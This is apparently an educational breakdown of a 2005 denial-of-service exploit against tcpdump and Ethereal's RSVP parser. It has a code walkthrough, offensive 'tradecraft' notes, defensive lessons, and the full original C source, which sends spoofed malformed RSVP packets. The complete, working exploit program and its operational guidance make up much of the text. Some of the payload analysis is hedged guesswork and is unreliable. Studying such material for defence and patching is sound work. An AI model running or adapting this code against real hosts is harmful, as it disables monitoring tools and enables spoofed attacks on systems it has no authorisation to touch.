Understanding the Ethereal/tcpdump RSVP Denial of Service Exploit

Understanding the Ethereal/tcpdump RSVP Denial of Service Exploit
What this paper is
This paper details a Denial of Service (DoS) vulnerability found in older versions of tcpdump and Ethereal (now Wireshark). The vulnerability allows an attacker to send a specially crafted RSVP (Resource Reservation Protocol) packet that causes the rsvp_print function within these network analysis tools to enter an infinite loop. This loop consumes system resources, potentially leading to a denial of service for the machine running the vulnerable software.
Simple technical breakdown
Network analysis tools like tcpdump and Ethereal parse network packets to display their contents. They have specific functions to interpret different network protocols. This exploit targets the RSVP protocol handler.
The vulnerability lies in how rsvp_print handles a specific type of RSVP object (RSVP_OBJ_ERO and RSVP_OBJ_RRO). The exploit crafts an RSVP packet where these objects have a "zero length" (or a very small, malformed length). When rsvp_print tries to process this malformed object, it gets stuck in a loop, repeatedly trying to read data that isn't there or is incorrectly structured. This continuous processing ties up the CPU and prevents the tool from functioning normally, thus causing a denial of service.
Complete code and payload walkthrough
The provided C code is a proof-of-concept exploit designed to send the malicious RSVP packet.
| Code Fragment/Block | Practical Purpose |
|---|---|
/*[ tcpdump(/ethereal)[]: (RSVP) rsvp_print() infinite loop DOS. ]* ... */ |
This is a header comment block providing metadata about the exploit, including author, publication date, affected software, and a brief description of the vulnerability. |
#include <stdio.h> ... #include <arpa/inet.h> |
These are standard C preprocessor directives to include necessary header files for input/output, memory allocation, system calls, networking, etc. |
#if defined(__BYTE_ORDER) ... #endif |
These preprocessor directives attempt to define endianness macros (BYTE_ORDER, BIG_ENDIAN) in a platform-independent way, which is important for correctly constructing network packet headers. |
#define DFL_AMOUNT 5 |
Defines a default number of packets to send if not specified by the user. |
struct iph{ ... }; |
Defines a structure to represent the IP header. It includes fields like version, header length (ihl), type of service (tos), total length (tot_len), identification (id), fragment offset (frag_off), time to live (ttl), protocol, header checksum (check), source IP address (saddr), and destination IP address (daddr). The #ifdef _USE_BIG_ENDIAN block handles potential differences in byte order on different systems. |
struct rsvph{ ... }; |
Defines a structure for the RSVP header. It includes fields like version/flags (ver_flags), type, checksum (check), TTL (ttl), reserved fields, and length (len). |
struct sumh{ ... }; |
Defines a structure used for calculating IP checksums. It contains source and destination IP addresses, fill bytes, protocol, and length. |
static char payload[]= ... ; |
This is the core of the exploit's malicious data. It's a byte array representing a malformed RSVP object. |
\x00\x08\x14\x01\x03\x00\x00\x00 |
This sequence likely represents the start of a malformed RSVP object. The specific bytes are crafted to trigger the vulnerability. |
\x00\x00\x00\x00 |
This part is noted as "not needed for tcpdump, but this breaks ethereal." It suggests this additional data is specifically designed to trigger the bug in Ethereal, possibly by further misrepresenting the object's length or structure. |
void rsvp_spoof(unsigned int,unsigned int); ... void sig_alarm(){printe("alarm/timeout hit.",1);} |
These are function prototypes and a signal handler. rsvp_spoof is the function that constructs and sends the packet. in_cksum is a utility for calculating checksums. getip resolves hostnames to IP addresses. printe is for error reporting. sig_alarm is a placeholder for a potential timeout mechanism (though not fully implemented for the exploit itself). |
int main(int argc,char **argv) { ... } |
The main function is the entry point of the program. |
unsigned char nospoof=0; ... unsigned int amt=DFL_AMOUNT; |
Initialization of variables: nospoof (not used in this version), amt for the number of packets. |
if(argc<2){ ... } |
Checks if at least a destination host is provided. If not, it prints usage instructions and exits. |
if(!(daddr=getip(argv[1]))) ... |
Gets the IP address of the destination host. If invalid, it prints an error and exits. |
if(argc>2)saddr=getip(argv[2]); |
If a source host is provided, it resolves its IP address. |
if(argc>3)amt=atoi(argv[3]); |
If a packet count is provided, it converts it to an integer. |
if(!amt)printe("no packets?",1); |
Ensures at least one packet will be sent. |
printf("[*] destination\t: %s\n",argv[1]); ... printf("[*] amount\t: %u\n\n",amt); |
Prints the configuration details for the user. |
printf("[+] sending(packet = .): "); fflush(stdout); |
Prints a message indicating the sending process has started and flushes the output buffer. |
while(amt--){ ... } |
This loop sends the crafted packet amt times. |
srandom(time(0)+amt); |
Seeds the random number generator. This is used to generate random source IP addresses and TTL values for each packet. |
rsvp_spoof(daddr,saddr); |
Calls the function to construct and send a single malicious RSVP packet. |
printf("."); fflush(stdout); |
Prints a dot to indicate a packet has been sent and flushes the output. |
usleep(50000); |
Pauses for 50 milliseconds between sending packets. This is a simple rate-limiting mechanism. |
printf("\n\n[*] done.\n"); fflush(stdout); exit(0); |
Prints a completion message and exits. |
rsvp_spoof function:
void rsvp_spoof(unsigned int daddr,unsigned int saddr){ ... } | This function is responsible for creating and sending the raw RSVP packet.signed int sock=0,on=1; | Initializes variables for the socket descriptor and an option flag.unsigned int psize=0; | Variable to store the total packet size.char *p,*s; | Pointers for memory allocation to hold packet data.struct sockaddr_in sa; | Structure to hold destination address information.struct iph ip; | Instance of the IP header structure.struct rsvph rsvp; | Instance of the RSVP header structure.struct sumh sum; | Instance of the checksum helper structure.if((sock=socket(AF_INET,SOCK_RAW,IPPROTO_RSVP))<0) ... | Creates a raw socket for sending IP packets. IPPROTO_RSVP specifies that we are sending RSVP packets directly.#ifdef IP_HDRINCL ... | This section attempts to set the IP_HDRINCL socket option. This option is crucial because it tells the kernel that the user-supplied packet includes its own IP header, so the kernel shouldn't try to construct one.sa.sin_family=AF_INET; sa.sin_addr.s_addr=daddr; | Configures the destination address for the socket.psize=(sizeof(struct iph)+sizeof(struct rsvph)+sizeof(payload)-1); | Calculates the total size of the packet to be sent: IP header + RSVP header + payload data.memset(&ip,0,sizeof(struct iph)); memset(&rsvp,0,sizeof(struct rsvph)); | Initializes the IP and RSVP header structures to all zeros.ip.ihl=5; ip.version=4; ip.tot_len=htons(psize); | Sets basic IP header fields: Internet Header Length (5 dwords), IP version (4), and total packet length (converted to network byte order).ip.saddr=(saddr?saddr:random()%0xffffffff); | Sets the source IP address. If a source IP was provided, it uses that; otherwise, it generates a random one.ip.daddr=daddr; | Sets the destination IP address.ip.ttl=(64*(random()%2+1)); | Sets a random TTL (Time To Live) value, either 64 or 128.ip.protocol=IPPROTO_RSVP; | Sets the IP protocol field to indicate RSVP.ip.frag_off=64; | Sets a fragment offset. This might be to avoid triggering other packet handling logic or to ensure the packet is treated as a single fragment.rsvp.ver_flags=16; /* v1/noflags. */ | Sets RSVP version to 1 and no flags.rsvp.type=20; /* HELLO. */ | Sets the RSVP message type to HELLO. This is a common type, but the vulnerability is in how it's processed, not necessarily the type itself.rsvp.ttl=(64*(random()%2+1)); | Sets a random TTL for the RSVP header.rsvp.len=htons(sizeof(struct rsvph)+sizeof(payload)-1); | Sets the length of the RSVP message (RSVP header + payload), converted to network byte order.sum.saddr=ip.saddr; sum.daddr=ip.daddr; sum.fill=0; sum.protocol=ip.protocol; sum.len=htons(sizeof(struct rsvph)+sizeof(payload)-1); | Populates the sumh structure with IP header information needed for the IP checksum calculation.if(!(s=(char *)malloc(sizeof(struct rsvph)+sizeof(payload)+1))) ... | Allocates memory to construct the RSVP portion of the packet for checksum calculation.memcpy(s,&rsvp,sizeof(struct rsvph)); memcpy(s+sizeof(struct rsvph),payload,sizeof(payload)-1); | Copies the RSVP header and the payload into the buffer.rsvp.check=in_cksum((unsigned short *)s,sizeof(struct rsvph) +sizeof(payload)-1); | Calculates the RSVP checksum using the in_cksum function and stores it in the RSVP header.free(s); | Frees the temporary buffer used for RSVP checksum calculation.if(!(s=(char *)malloc(sizeof(struct iph)+1))) ... | Allocates memory to construct the IP header for checksum calculation.memcpy(s,&ip,sizeof(struct iph)); | Copies the IP header into the buffer.ip.check=in_cksum((unsigned short *)s,sizeof(struct iph)); | Calculates the IP checksum and stores it in the IP header.free(s); | Frees the temporary buffer used for IP checksum calculation.if(!(p=(char *)malloc(psize+1))) ... | Allocates the final buffer to hold the complete IP packet.memset(p,0,psize); | Initializes the packet buffer to zeros.memcpy(p,&ip,sizeof(struct iph)); memcpy(p+sizeof(struct iph),&rsvp,sizeof(struct rsvph)); memcpy(p+(sizeof(struct iph)+sizeof(struct rsvph)), payload,sizeof(payload)); | Assembles the complete packet by copying the IP header, RSVP header, and payload into the buffer.if(sendto(sock,p,psize,0,(struct sockaddr *)&sa, sizeof(struct sockaddr))<psize) ... | Sends the constructed raw packet to the destination IP address.free(p); | Frees the memory allocated for the packet.return; | Exits the function.
in_cksum function:
unsigned short in_cksum(unsigned short *addr,signed int len){ ... } | This is a standard implementation of the Internet checksum algorithm, used for calculating the checksums of IP and RSVP headers.unsigned short answer=0; register unsigned short *w=addr; register int nleft=len,sum=0; | Initializes variables for the checksum calculation.while(nleft>1){ sum+=*w++; nleft-=2; } | Iterates through the data in 16-bit words, summing them up.if(nleft==1){ *(unsigned char *)(&answer)=*(unsigned char *)w; sum+=answer; } | Handles any remaining byte if the data length is odd.sum=(sum>>16)+(sum&0xffff); sum+=(sum>>16); | Performs the one's complement addition to fold the 32-bit sum into a 16-bit value.answer=~sum; | Inverts the sum to get the final checksum.return(answer); | Returns the calculated checksum.
getip function:
unsigned int getip(char *host){ ... } | Resolves a hostname or IP address string into a 32-bit IP address.struct hostent *t; unsigned int s=0; | Declares variables for host entry and the IP address.if((s=inet_addr(host))){ ... } | Tries to interpret the input string directly as an IP address using inet_addr. If successful, s will contain the IP address.if((t=gethostbyname(host))) memcpy((char *)&s,(char *)t->h_addr,sizeof(s)); | If inet_addr failed (meaning it wasn't a dotted-decimal IP), it tries to resolve the hostname using gethostbyname and copies the address from the host entry.if(s==-1)s=0; | Handles potential error return values from inet_addr.return(s); | Returns the resolved IP address.
printe function:
void printe(char *err,signed char e){ ... } | A simple utility function to print an error message and optionally exit the program.printf("[!] %s\n",err); | Prints the error message prefixed with [!].if(e)exit(e); | If the e argument is non-zero, it exits the program with that exit code.return; | Returns from the function.
Payload Breakdown:
static char payload[]= "\x00\x08\x14\x01\x03\x00\x00\x00\x00\x00\x00\x00";
This payload is designed to be part of the RSVP message. Let's break down the known parts and infer the rest:
\x00\x08: This could represent the length of a sub-object within the RSVP message. A length of 8 bytes.\x14: This is likely the object class. For RSVP,0x14(decimal 20) is theRSVP_OBJ_ERO(Explicit Route Object) orRSVP_OBJ_RRO(Record Route Object). The vulnerability description mentions these classes.\x01: This could be the C-Type (Class Type) for the object. For ERO/RRO,0x01is common for indicating the presence of IPv4 addresses.\x03: This might indicate the number of IPv4 addresses that follow. A value of 3.\x00\x00\x00\x00: These are likely placeholder bytes for the actual IPv4 addresses. The exploit doesn't provide valid IPv4 addresses here. Instead, it seems to be setting up a situation where the length field is inconsistent with the actual data provided, or the data itself is malformed in a way that the parsing logic fails.
The key to the exploit is that the rsvp_print function, when encountering an ERO or RRO object with a length that doesn't match the expected data (or is otherwise malformed), enters an infinite loop. The code constructs a packet where the RSVP header's length field might point to a structure that, when parsed by rsvp_print, leads to this malformed object. The payload itself is the malformed object data. The additional \x00\x00\x00\x00 are specifically mentioned as breaking Ethereal, suggesting they contribute to the malformation in a way that Ethereal's parser is more sensitive to than tcpdump's.
Practical details for offensive operations teams
- Required Access Level: This exploit targets network analysis tools running on a host. To successfully trigger the DoS, the attacker needs to be able to send raw IP packets to the target machine. This typically requires elevated privileges (root/administrator) on the attacking machine to create raw sockets. Network segmentation or firewalls might also need to be bypassed to reach the target.
- Lab Preconditions:
- A vulnerable version of
tcpdumporEtherealmust be installed and running on the target system. - The target system must be reachable on the network.
- The target system must be configured to capture or process RSVP traffic, or the tool must be actively running and inspecting traffic.
- The attacker needs a machine capable of sending raw IP packets with custom headers.
- A vulnerable version of
- Tooling Assumptions:
- The exploit code itself is a C program that needs to be compiled. A standard C compiler (like
gcc) is assumed. - The attacker machine needs network utilities to capture traffic to verify successful packet injection (though the exploit doesn't rely on this for its execution).
- The exploit code itself is a C program that needs to be compiled. A standard C compiler (like
- Execution Pitfalls:
- Firewall Rules: Firewalls between the attacker and target might block raw IP packets or specific protocols like RSVP.
- Packet Filtering: Intermediate network devices or host-based intrusion detection systems (HIDS) might detect and block the malformed packet.
- Version Mismatch: The exploit is specific to certain versions. Using it against patched versions will have no effect.
- Tool Configuration:
tcpdumpmight require the-v(verbose) flag for the vulnerability to be triggered on some platforms, as mentioned in the paper. Ethereal might trigger it just by receiving the packet. - Resource Availability: The DoS might be transient if the tool restarts automatically or if the system has ample resources to recover from the loop.
- Detection: Sending raw, malformed packets can be a strong indicator of malicious activity and may trigger security alerts.
- Tradecraft Considerations:
- Stealth: Sending raw packets can be noisy. If stealth is a priority, this exploit might be less suitable unless combined with other techniques to mask the origin or nature of the traffic.
- Reconnaissance: Thorough reconnaissance is crucial to identify the exact versions of
tcpdumporEtherealrunning on the target and their configuration. - Payload Delivery: This exploit is not a remote code execution (RCE) vulnerability. It's a DoS. The "payload" is the malformed packet itself.
- Impact Assessment: Understand the impact of the DoS on the target system. Is it a critical server? Will the DoS disrupt services that have a wider impact?
- Authorization: Ensure all operations are strictly within the scope of authorized engagements.
Where this was used and when
- Context: This vulnerability was discovered and published in 2005. It was relevant for security professionals and attackers targeting systems running older versions of
tcpdump(specifically v3.8.x, v3.9.1, and CVS versions) andEthereal(v0.10.10). - Usage: The primary use case for this exploit would be to disrupt the network analysis capabilities of a target system. This could be done to:
- Prevent an administrator or security analyst from monitoring network traffic.
- Hide other malicious activities by disabling network visibility.
- Cause a temporary outage of a critical service if the analysis tool was integral to its operation or monitoring.
- Timeframe: The exploit was published on April 26, 2005. It would have been actively usable from that point until the affected software versions were patched.
tcpdumpandEtherealhave since been updated and are no longer vulnerable to this specific issue.
Defensive lessons for modern teams
- Keep Software Updated: This is the most fundamental lesson. Regularly patching and updating network analysis tools, operating systems, and all software is critical to prevent exploitation of known vulnerabilities.
- Network Segmentation and Firewalls: Implement robust network segmentation and firewall rules to limit the attack surface. Restrict raw socket creation and the ability to send arbitrary IP packets from untrusted sources.
- Intrusion Detection/Prevention Systems (IDS/IPS): Modern IDS/IPS solutions can detect and block malformed packets or traffic patterns indicative of DoS attacks. Signature-based detection for known exploits and anomaly-based detection for unusual packet constructions are valuable.
- Principle of Least Privilege: Ensure that network analysis tools and the accounts running them operate with the minimum necessary privileges. This limits the impact if the tool itself is compromised or exploited.
- Monitoring Tool Health: Monitor the health and resource utilization of critical network analysis tools. Unexpected high CPU usage or crashes could indicate an ongoing attack or a misconfiguration.
- Protocol Validation: Network devices (routers, firewalls) should perform strict validation of protocol headers and structures. Malformed packets should be dropped or logged.
- Regular Audits and Vulnerability Scanning: Conduct regular security audits and vulnerability scans to identify outdated software and potential weaknesses.
ASCII visual (if applicable)
This exploit involves sending a packet from an attacker to a target. A simple visual representation of the packet flow can be helpful.
+-----------------+ +-----------------+
| Attacker | ----> | Target |
| (Raw Socket) | | (Vulnerable |
| | | tcpdump/Ethereal)|
+-----------------+ +-----------------+
| |
| Sends Malformed | Processes Packet
| RSVP Packet | (Infinite Loop)
| |
| v
| +-----------------+
| | System CPU |
| | (Consumed) |
| +-----------------+
| |
| v
| +-----------------+
| | Denial of |
| | Service |
+---------------->| (Tool Unusable) |
+-----------------+Explanation:
- The attacker crafts and sends a raw IP packet containing a malformed RSVP message.
- The target machine receives this packet.
- The vulnerable
tcpdumporEtherealprocess attempts to parse the RSVP packet. - Due to the malformed RSVP object within the packet, the
rsvp_printfunction enters an infinite loop. - This loop consumes significant CPU resources on the target system.
- The network analysis tool becomes unresponsive, leading to a denial of service.
Source references
- Exploit-DB Paper: https://www.exploit-db.com/papers/956
- Exploit-DB Raw Source: https://www.exploit-db.com/raw/956
- tcpdump Homepage: http://www.tcpdump.org
- Ethereal Homepage: http://www.ethereal.com
Original Exploit-DB Content (Verbatim)
/*[ tcpdump(/ethereal)[]: (RSVP) rsvp_print() infinite loop DOS. ]*
* *
* by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo) *
* *
* compile: *
* gcc xtcpdump+ethr-rsvp-dos.c -o xtcpdump+ethr-rsvp-dos *
* *
* tcpdump homepage/URL: *
* http://www.tcpdump.org *
* *
* ethereal homepage/URL: *
* http://www.ethereal.com *
* *
* effected versions: *
* tcpdump: v3.8.x/v3.9.1/CVS (didn't check below 3.8.x) *
* ethereal: v0.10.10 (appears to be fixed in 0.10.10 SVN>14167) *
* *
* tcpdump(v3.9.1 and earlier versions) contains a remote denial *
* of service vulnerability in the form of a single (RSVP) packet *
* causing an infinite loop. *
* *
* this bug also effects ethereal[v0.10.10] in a similar way, i *
* did not check ethereals source code to find out why, tcpdump *
* was the focus. (the packet usually must be clicked on, the *
* ICMP replies given back will cause it too) *
* *
* as this bug doesn't appear to be fixed in the new(3.9.x/CVS) *
* versions i'll elaborate on the problem. the bug lies in *
* rsvp_print() in the RSVP_OBJ_ERO(and RSVP_OBJ_RRO) class, *
* allowing a zero length(+4 length really) situation, causing an *
* infinite loop. *
* *
* some versions of tcpdump(depending on the platform/OS) need no *
* special command-line arguments to allow this to happen, *
* however most need the "-v" argument. *
******************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <time.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#ifdef _USE_ARPA
#include <arpa/inet.h>
#endif
/* doesn't seem to be standardized, so... */
#if defined(__BYTE_ORDER) && !defined(BYTE_ORDER)
#define BYTE_ORDER __BYTE_ORDER
#endif
#if defined(__BIG_ENDIAN) && !defined(BIG_ENDIAN)
#define BIG_ENDIAN __BIG_ENDIAN
#endif
#if defined(BYTE_ORDER) && defined(BIG_ENDIAN)
#if BYTE_ORDER == BIG_ENDIAN
#define _USE_BIG_ENDIAN
#endif
#endif
#define DFL_AMOUNT 5
/* avoid platform-specific header madness. */
/* (just plucked out of header files) */
struct iph{
#ifdef _USE_BIG_ENDIAN
unsigned char version:4,ihl:4;
#else
unsigned char ihl:4,version:4;
#endif
unsigned char tos;
unsigned short tot_len;
unsigned short id;
unsigned short frag_off;
unsigned char ttl;
unsigned char protocol;
unsigned short check;
unsigned int saddr;
unsigned int daddr;
};
struct rsvph{
unsigned char ver_flags;
unsigned char type;
unsigned short check;
unsigned char ttl;
unsigned char reserved;
unsigned short len;
};
struct sumh{
unsigned int saddr;
unsigned int daddr;
unsigned char fill;
unsigned char protocol;
unsigned short len;
};
/* malformed RSVP data. (the bug) */
static char payload[]=
"\x00\x08\x14\x01\x03\x00\x00\x00"
/* not needed for tcpdump, but this breaks ethereal. */
"\x00\x00\x00\x00";
/* prototypes. (and sig_alarm) */
void rsvp_spoof(unsigned int,unsigned int);
unsigned short in_cksum(unsigned short *,signed int);
unsigned int getip(char *);
void printe(char *,signed char);
void sig_alarm(){printe("alarm/timeout hit.",1);}
/* begin. */
int main(int argc,char **argv) {
unsigned char nospoof=0;
unsigned int amt=DFL_AMOUNT;
unsigned int daddr=0,saddr=0;
printf("[*] tcpdump(/ethereal)[]: (RSVP) rsvp_print() infinite loop "
"DOS.\n[*] by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo)\n\n");
if(argc<2){
printf("[*] syntax: %s <dst host> [src host(0=random)] [amount]\n",
argv[0]);
exit(1);
}
if(!(daddr=getip(argv[1])))
printe("invalid destination host/ip.",1);
if(argc>2)saddr=getip(argv[2]);
if(argc>3)amt=atoi(argv[3]);
if(!amt)printe("no packets?",1);
printf("[*] destination\t: %s\n",argv[1]);
if(!nospoof)
printf("[*] source\t: %s\n",(saddr?argv[2]:"<random>"));
printf("[*] amount\t: %u\n\n",amt);
printf("[+] sending(packet = .): ");
fflush(stdout);
while(amt--){
/* spice things up. */
srandom(time(0)+amt);
rsvp_spoof(daddr,saddr);
printf(".");
fflush(stdout);
usleep(50000);
}
printf("\n\n[*] done.\n");
fflush(stdout);
exit(0);
}
/* (spoofed) generates and sends a (RSVP) ip packet. */
void rsvp_spoof(unsigned int daddr,unsigned int saddr){
signed int sock=0,on=1;
unsigned int psize=0;
char *p,*s;
struct sockaddr_in sa;
struct iph ip;
struct rsvph rsvp;
struct sumh sum;
/* create raw (rsvp) socket. */
if((sock=socket(AF_INET,SOCK_RAW,IPPROTO_RSVP))<0)
printe("could not allocate raw socket.",1);
/* allow (on some systems) for the user-supplied ip header. */
#ifdef IP_HDRINCL
if(setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)))
printe("could not set IP_HDRINCL socket option.",1);
#endif
sa.sin_family=AF_INET;
sa.sin_addr.s_addr=daddr;
psize=(sizeof(struct iph)+sizeof(struct rsvph)+sizeof(payload)-1);
memset(&ip,0,sizeof(struct iph));
memset(&rsvp,0,sizeof(struct rsvph));
/* values not filled = 0, from the memset() above. */
ip.ihl=5;
ip.version=4;
ip.tot_len=htons(psize);
ip.saddr=(saddr?saddr:random()%0xffffffff);
ip.daddr=daddr;
ip.ttl=(64*(random()%2+1));
ip.protocol=IPPROTO_RSVP;
ip.frag_off=64;
rsvp.ver_flags=16; /* v1/noflags. */
rsvp.type=20; /* HELLO. */
rsvp.ttl=(64*(random()%2+1));
rsvp.len=htons(sizeof(struct rsvph)+sizeof(payload)-1);
/* needed for the ip checksum. */
sum.saddr=ip.saddr;
sum.daddr=ip.daddr;
sum.fill=0;
sum.protocol=ip.protocol;
sum.len=htons(sizeof(struct rsvph)+sizeof(payload)-1);
/* make sum/calc buffer for the rsvp checksum. (correct) */
if(!(s=(char *)malloc(sizeof(struct rsvph)+sizeof(payload)+1)))
printe("malloc() failed.",1);
memset(s,0,(sizeof(struct rsvph)+sizeof(payload)+1));
memcpy(s,&rsvp,sizeof(struct rsvph));
memcpy(s+sizeof(struct rsvph),payload,sizeof(payload)-1);
rsvp.check=in_cksum((unsigned short *)s,sizeof(struct rsvph)
+sizeof(payload)-1);
free(s);
/* make sum/calc buffer for the ip checksum. (correct) */
if(!(s=(char *)malloc(sizeof(struct iph)+1)))
printe("malloc() failed.",1);
memset(s,0,(sizeof(struct iph)+1));
memcpy(s,&ip,sizeof(struct iph));
ip.check=in_cksum((unsigned short *)s,sizeof(struct iph));
free(s);
/* put the packet together. */
if(!(p=(char *)malloc(psize+1)))
printe("malloc() failed.",1);
memset(p,0,psize);
memcpy(p,&ip,sizeof(struct iph));
memcpy(p+sizeof(struct iph),&rsvp,sizeof(struct rsvph));
memcpy(p+(sizeof(struct iph)+sizeof(struct rsvph)),
payload,sizeof(payload));
/* send the malformed (RSVP) packet. */
if(sendto(sock,p,psize,0,(struct sockaddr *)&sa,
sizeof(struct sockaddr))<psize)
printe("failed to send forged RSVP packet.",1);
free(p);
return;
}
/* standard method for creating TCP/IP checksums. */
unsigned short in_cksum(unsigned short *addr,signed int len){
unsigned short answer=0;
register unsigned short *w=addr;
register int nleft=len,sum=0;
while(nleft>1){
sum+=*w++;
nleft-=2;
}
if(nleft==1){
*(unsigned char *)(&answer)=*(unsigned char *)w;
sum+=answer;
}
sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
answer=~sum;
return(answer);
}
/* gets the ip from a host/ip/numeric. */
unsigned int getip(char *host){
struct hostent *t;
unsigned int s=0;
if((s=inet_addr(host))){
if((t=gethostbyname(host)))
memcpy((char *)&s,(char *)t->h_addr,sizeof(s));
}
if(s==-1)s=0;
return(s);
}
/* all-purpose error/exit function. */
void printe(char *err,signed char e){
printf("[!] %s\n",err);
if(e)exit(e);
return;
}
// milw0rm.com [2005-04-26]